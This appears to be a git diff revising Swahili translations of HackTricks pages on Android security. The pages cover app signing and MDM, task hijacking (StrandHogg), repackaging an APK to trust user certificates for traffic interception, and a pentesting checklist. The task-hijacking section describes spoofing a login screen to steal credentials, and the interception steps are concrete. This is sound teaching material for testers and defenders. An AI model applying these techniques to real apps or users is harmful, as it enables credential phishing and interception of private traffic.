- Kulemaza ufikiaji wa faili (````setAllowFileAccess(false)````) kunapunguza ufikiaji wa mfumo wa faili, na ubaguzi kwa mali fulani, kuhakikisha zinatumika tu kwa yaliyomo yasiyo ya siri.
|
||||
|
||||
## Sehemu Nyingine za Programu na Usimamizi wa Kifaa cha Simu
|
||||
## Sehemu Nyingine za Programu na Usimamizi wa Kifaa cha Mkononi
|
||||
|
||||
### **Kusainiwa Kidijitali kwa Programu**
|
||||
|
||||
- **Kusainiwa kidijitali** ni lazima kwa programu za Android, ikihakikisha zimeandikwa **kwa uhalisia** kabla ya usakinishaji. Mchakato huu hutumia cheti kwa utambulisho wa programu na lazima ithibitishwe na msimamizi wa pakiti ya kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zilizojisaini au kuthibitishwa na CA ya nje**, zikilinda dhidi ya ufikiaji usioruhusiwa na kuhakikisha programu inabaki bila kuguswa wakati wa kufikishwa kwenye kifaa.
|
||||
- **Kusainiwa kidijitali** ni lazima kwa programu za Android, ikihakikisha zimeandikwa **kwa uhalali** kabla ya usakinishaji. Mchakato huu hutumia cheti kwa utambulisho wa programu na lazima ithibitishwe na msimamizi wa pakiti wa kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zilizojisaini au zilizothibitishwa na CA ya nje**, zikilinda dhidi ya ufikiaji usioidhinishwa na kuhakikisha programu inabaki bila kubadilishwa wakati wa kufikishwa kwenye kifaa.
|
||||
|
||||
### **Uhakiki wa Programu kwa Usalama Ulioboreshwa**
|
||||
|
||||
- Kuanzia **Android 4.2**, kipengele kinachoitwa **Thibitisha Programu** inaruhusu watumiaji kupata uhakiki wa usalama kabla ya usakinishaji. Mchakato huu wa **uhakiki** unaweza kuonya watumiaji dhidi ya programu zenye hatari, au hata kuzuia usakinishaji wa zile zenye nia mbaya, ikiboresha usalama wa mtumiaji.
|
||||
- Kuanzia **Android 4.2**, kipengele kinachoitwa **Thibitisha Programu** inaruhusu watumiaji kupata programu zilizochunguzwa kwa usalama kabla ya usakinishaji. Mchakato huu wa **uhakiki** unaweza kuonya watumiaji dhidi ya programu zenye hatari, au hata kuzuia usakinishaji wa zile zenye nia hasidi, ikiboresha usalama wa mtumiaji.
|
||||
|
||||
### **Usimamizi wa Kifaa cha Simu (MDM)**
|
||||
### **Usimamizi wa Kifaa cha Mkononi (MDM)**
|
||||
|
||||
- **Suluhisho za MDM** hutoa **usimamizi na usalama** kwa vifaa vya simu kupitia **API ya Usimamizi wa Kifaa**. Wanahitaji usakinishaji wa programu ya Android kusimamia na kuhakikisha usalama wa vifaa vya simu kwa ufanisi. Majukumu muhimu ni pamoja na **kuweka sera za nywila**, **kuamuru kifaa cha kuhifadhi data**, na **kuruhusu kufuta data kwa mbali**, ikihakikisha udhibiti na usalama kamili juu ya vifaa vya simu.
|
||||
- **Suluhisho za MDM** hutoa **usimamizi na usalama** kwa vifaa vya mkononi kupitia **API ya Usimamizi wa Kifaa**. Wanahitaji usakinishaji wa programu ya Android kusimamia na kuhakikisha usalama wa vifaa vya mkononi kwa ufanisi. Majukumu muhimu ni pamoja na **kuweka sera za nywila**, **kuamuru kifaa cha kuhifadhi data**, na **kuruhusu kufuta data kwa mbali**, ikihakikisha udhibiti na usalama kamili juu ya vifaa vya mkononi.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -382,13 +382,13 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
|||
```
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -396,6 +396,6 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# Kuteka Kazi kwa Android
|
||||
# Kuteka Kazi ya Android
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuteka AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kuteka kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,11 +24,11 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Kazi, Back Stack na Shughuli za Mbele
|
||||
|
||||
Kwenye Android, **kazi** ni msururu wa shughuli ambazo watumiaji wanashirikiana nazo kumaliza kazi maalum, zikiwa zimepangwa ndani ya **back stack**. Msururu huu unapanga shughuli kulingana na wakati zilipoanzishwa, na shughuli ya hivi karibuni ikiwa juu kama **shughuli ya mbele**. Wakati wowote, shughuli hii tu ndio inayoonekana kwenye skrini, ikifanya sehemu ya **kazi ya mbele**.
|
||||
Katika Android, **kazi** ni msururu wa shughuli ambazo watumiaji wanashirikiana nazo kumaliza kazi maalum, zilizoandaliwa ndani ya **back stack**. Msururu huu unapanga shughuli kulingana na wakati zilipoanzishwa, na shughuli ya hivi karibuni ikiwa juu kama **shughuli ya mbele**. Wakati wowote, shughuli hii tu inaonekana kwenye skrini, ikifanya sehemu ya **kazi ya mbele**.
|
||||
|
||||
Hapa kuna maelezo mafupi ya mabadiliko ya shughuli:
|
||||
|
||||
* **Shughuli 1** inaanza kama shughuli pekee kwenye mbele.
|
||||
* **Shughuli 1** inaanza kama shughuli pekee mbele.
|
||||
* Kuzindua **Shughuli 2** kunapeleka **Shughuli 1** kwenye back stack, ikileta **Shughuli 2** mbele.
|
||||
* Kuanzisha **Shughuli 3** kunahamisha **Shughuli 1** na **Shughuli 2** nyuma zaidi kwenye stack, na **Shughuli 3** sasa mbele.
|
||||
* Kufunga **Shughuli 3** kunarudisha **Shughuli 2** mbele, ikionyesha mfumo wa urambazaji wa kazi wa Android.
|
||||
|
@ -39,47 +39,47 @@ Hapa kuna maelezo mafupi ya mabadiliko ya shughuli:
|
|||
|
||||
### Maelezo ya Urafiki wa Kazi na Modes za Kuzindua
|
||||
|
||||
Katika programu za Android, **urafiki wa kazi** unabainisha kazi inayopendelewa ya shughuli, kwa kawaida ikilingana na jina la pakiti ya programu. Hii ni muhimu katika kutengeneza programu ya uthibitisho wa dhana (PoC) kwa kudhihirisha shambulio.
|
||||
Katika programu za Android, **urafiki wa kazi** unabainisha kazi inayopendelewa ya shughuli, kawaida ikilingana na jina la pakiti ya programu. Hii ni muhimu katika kutengeneza programu ya uthibitisho wa dhana (PoC) kwa kudhihirisha shambulio.
|
||||
|
||||
### Modes za Kuzindua
|
||||
|
||||
Sifa ya `launchMode` inaelekeza namna ya kushughulikia mifano ya shughuli ndani ya kazi. Mode ya **singleTask** ni muhimu kwa shambulio hili, ikiongoza mazingira matatu kulingana na mifano ya shughuli iliyopo na mechi za urafiki wa kazi. Udanganyifu unategemea uwezo wa programu ya muhusika kufanana na urafiki wa kazi wa programu ya lengo, kudanganya mfumo wa Android kuzindua programu ya muhusika badala ya lengo lililokusudiwa.
|
||||
Sifa ya `launchMode` inaelekeza namna ya kushughulikia mifano ya shughuli ndani ya kazi. Mode ya **singleTask** ni muhimu kwa shambulio hili, ikiongoza mazingira matatu kulingana na mifano ya shughuli iliyopo na mechi za urafiki wa kazi. Utekelezaji unategemea uwezo wa programu ya muhusika kufanana na urafiki wa kazi wa programu ya lengo, kudanganya mfumo wa Android kuzindua programu ya muhusika badala ya lengo lililokusudiwa.
|
||||
|
||||
### Hatua za Shambulio Kwa Undani
|
||||
|
||||
1. **Usakinishaji wa Programu Mbovu**: Muhusika anasakinisha programu ya muhusika kwenye kifaa chao.
|
||||
2. **Uanzishaji wa Awali**: Muhusika kwanza anafungua programu mbovu, kuandaa kifaa kwa shambulio.
|
||||
3. **Jaribio la Kuzindua Programu ya Lengo**: Muhusika anajaribu kufungua programu ya lengo.
|
||||
4. **Utekelezaji wa Kuteka Kazi**: Kutokana na urafiki wa kazi unaofanana, programu mbovu inazinduliwa badala ya programu ya lengo.
|
||||
5. **Udanganyifu**: Programu mbovu inaonyesha skrini bandia ya kuingia inayofanana na programu ya lengo, kuwadanganya watumiaji kuingiza taarifa nyeti.
|
||||
1. **Usakinishaji wa Programu Mbovu**: Mfanyikazi anasakinisha programu ya muhusika kwenye kifaa chao.
|
||||
2. **Uanzishaji wa Awali**: Mfanyikazi kwanza anafungua programu mbovu, kuandaa kifaa kwa shambulio.
|
||||
3. **Jaribio la Kuzindua Programu ya Lengo**: Mfanyikazi anajaribu kufungua programu ya lengo.
|
||||
4. **Utekelezaji wa Kuteka**: Kutokana na urafiki wa kazi unaofanana, programu mbovu inazinduliwa badala ya programu ya lengo.
|
||||
5. **Udanganyifu**: Programu mbovu inaonyesha skrini bandia ya kuingia inayofanana na programu ya lengo, kuwadanganya watumiaji kuingiza habari nyeti.
|
||||
|
||||
Kwa utekelezaji wa vitendo wa shambulio hili, tazama hazina ya GitHub ya Task Hijacking Strandhogg: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
||||
Kwa utekelezaji wa vitendo wa shambulio hili, tazama hazina ya Task Hijacking Strandhogg kwenye GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
||||
|
||||
### Hatua za Kuzuia
|
||||
|
||||
Ili kuzuia shambulio kama hili, waendelezaji wanaweza kuweka `taskAffinity` kuwa herufi tupu na kuchagua mode ya `singleInstance`, kuhakikisha kufungwa kwa programu yao kutoka kwa nyingine. Kubadilisha `onBackPressed()` function hutoa ulinzi zaidi dhidi ya kuteka kazi.
|
||||
Ili kuzuia mashambulio kama haya, waendelezaji wanaweza kuweka `taskAffinity` kuwa herufi tupu na kuchagua mode ya kuzindua ya `singleInstance`, kuhakikisha kufungwa kwa programu yao kutoka kwa nyingine. Kubadilisha `onBackPressed()` function kunatoa ulinzi zaidi dhidi ya kuteka kazi.
|
||||
|
||||
## **Vyanzo**
|
||||
|
||||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuteka AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu zako za kuteka kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,26 +1,26 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi Kufanikiwa**
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Baadhi ya programu hazipendi vyeti vilivyopakuliwa na mtumiaji, hivyo ili kuchunguza trafiki ya wavuti kwa baadhi ya programu tunapaswa kuchambua programu hiyo na kuongeza vitu kadhaa na kuichambua upya.
|
||||
Baadhi ya programu hazipendi vyeti vilivyopakuliwa na mtumiaji, hivyo ili kuchunguza trafiki ya wavuti kwa baadhi ya programu tunapaswa kuchambua tena programu na kuongeza vitu kadhaa na kuirudisha.
|
||||
|
||||
# Kiotomatiki
|
||||
|
||||
|
@ -32,7 +32,7 @@ Kwanza tunachambua programu: `apktool d *jina-la-faili*.apk`
|
|||
|
||||
![](../../.gitbook/assets/img9.png)
|
||||
|
||||
Kisha tunakwenda kwenye faili ya **Manifest.xml** & tunasonga chini hadi lebo ya `<\application android>` na tutaweka mstari ufuatao ikiwa hauko tayari:
|
||||
Kisha tunakwenda kwenye faili ya **Manifest.xml** & tunasonga chini hadi lebo ya `<\application android>` na tutaweka mstari ufuatao ikiwa haupo tayari:
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
|
@ -44,7 +44,7 @@ Baada ya kuongeza:
|
|||
|
||||
![](../../.gitbook/assets/img11.png)
|
||||
|
||||
Sasa nenda kwenye saraka ya **res/xml** & unda/boresha faili iitwayo network\_security\_config.xml na yaliyomo yafuatayo:
|
||||
Sasa nenda kwenye saraka ya **res/xml** & umba/boresha faili iitwayo network\_security\_config.xml na yaliyomo yafuatayo:
|
||||
```markup
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
|
@ -57,27 +57,27 @@ Sasa nenda kwenye saraka ya **res/xml** & unda/boresha faili iitwayo network\_se
|
|||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
Kisha hifadhi faili & rudi nyuma kutoka kwenye mafaili yote na jenga upya apk kwa kutumia amri ifuatayo: `apktool b *jina-la-folda/* -o *faili-ya-huduma.apk*`
|
||||
Kisha hifadhi faili & rudi nyuma kutoka kwenye mafaili yote na jenga upya apk kwa kutumia amri ifuatayo: `apktool b *jina-la-folda/* -o *faili-la-matokeo.apk*`
|
||||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
Hatimaye, unahitaji tu **kusaini programu mpya**. [Soma sehemu hii ya ukurasa wa Smali - Kudecompile/\[Kubadilisha\]/Kukusanya ili kujifunza jinsi ya kuaisaini](smali-changes.md#sing-the-new-apk).
|
||||
Hatimaye, unahitaji tu **kusaini programu mpya**. [Soma sehemu hii ya ukurasa wa Smali - Kudecompile/\[Kurekebisha\]/Kukusanya ili kujifunza jinsi ya kuaisini](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
<details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
**Kikundi cha Usalama cha Kujitahidi Sana**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -38,11 +38,11 @@
|
|||
|
||||
### [Uchambuzi Stahiki](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] Angalia matumizi ya [ufichaji](android-checklist.md#some-obfuscation-deobfuscation-information), angalia kama simu ya mkononi imefungwa, kama inatumika emulator na uchunguzi wa kuzuia uharibifu. [Soma hii kwa maelezo zaidi](android-app-pentesting/#other-checks).
|
||||
* [ ] Programu zenye hisia (kama programu za benki) zinapaswa kuangalia kama simu imefungwa na kuchukua hatua kwa kuzingatia hilo.
|
||||
* [ ] Angalia matumizi ya [ufichaji](android-checklist.md#some-obfuscation-deobfuscation-information), angalia kama simu imefungwa mizizi, kama inatumika emulator na uchunguzi wa kuzuia uharibifu. [Soma hii kwa maelezo zaidi](android-app-pentesting/#other-checks).
|
||||
* [ ] Programu nyeti (kama programu za benki) inapaswa kuangalia kama simu imefungwa mizizi na inapaswa kuchukua hatua kwa kuzingatia hilo.
|
||||
* [ ] Tafuta [maneno ya kuvutia](android-app-pentesting/#looking-for-interesting-info) (nywila, URL, API, encryption, backdoors, tokens, Bluetooth uuids...).
|
||||
* [ ] Tahadhari maalum kwa [firebase ](android-app-pentesting/#firebase)APIs.
|
||||
* [ ] [Soma hati ya maombi:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] [Soma maelezo:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] Angalia kama programu iko katika hali ya kurekebisha na jaribu "kuitumia"
|
||||
* [ ] Angalia kama APK inaruhusu nakala za akiba
|
||||
* [ ] Shughuli Zilizowekwa Wazi
|
||||
|
@ -51,24 +51,24 @@
|
|||
* [ ] Wapokeaji wa Matangazo
|
||||
* [ ] URL Schemes
|
||||
* [ ] Je, programu ina[hifadhi data bila usalama ndani au nje](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] Je, kuna [nywila iliyoandikwa kwa nguvu au iliyohifadhiwa kwenye diski](android-app-pentesting/#poorkeymanagementprocesses)? Je, programu inatumia [algorithms za crypto zisizo salama](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Maktaba zote zimekusanywa kwa kutumia bendera ya PIE?
|
||||
* [ ] Je, kuna [nywila iliyoingizwa au iliyohifadhiwa kwenye diski](android-app-pentesting/#poorkeymanagementprocesses)? Je, programu inatumia [algorithms za crypto zisizo salama](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Maktaba zote zimekompiliwa kwa kutumia bendera ya PIE?
|
||||
* [ ] Usisahau kuwa kuna[ Wachambuzi wa Android wa Stahiki](android-app-pentesting/#automatic-analysis) ambao wanaweza kukusaidia sana wakati huu.
|
||||
|
||||
### [Uchambuzi wa Kudukua](android-app-pentesting/#dynamic-analysis)
|
||||
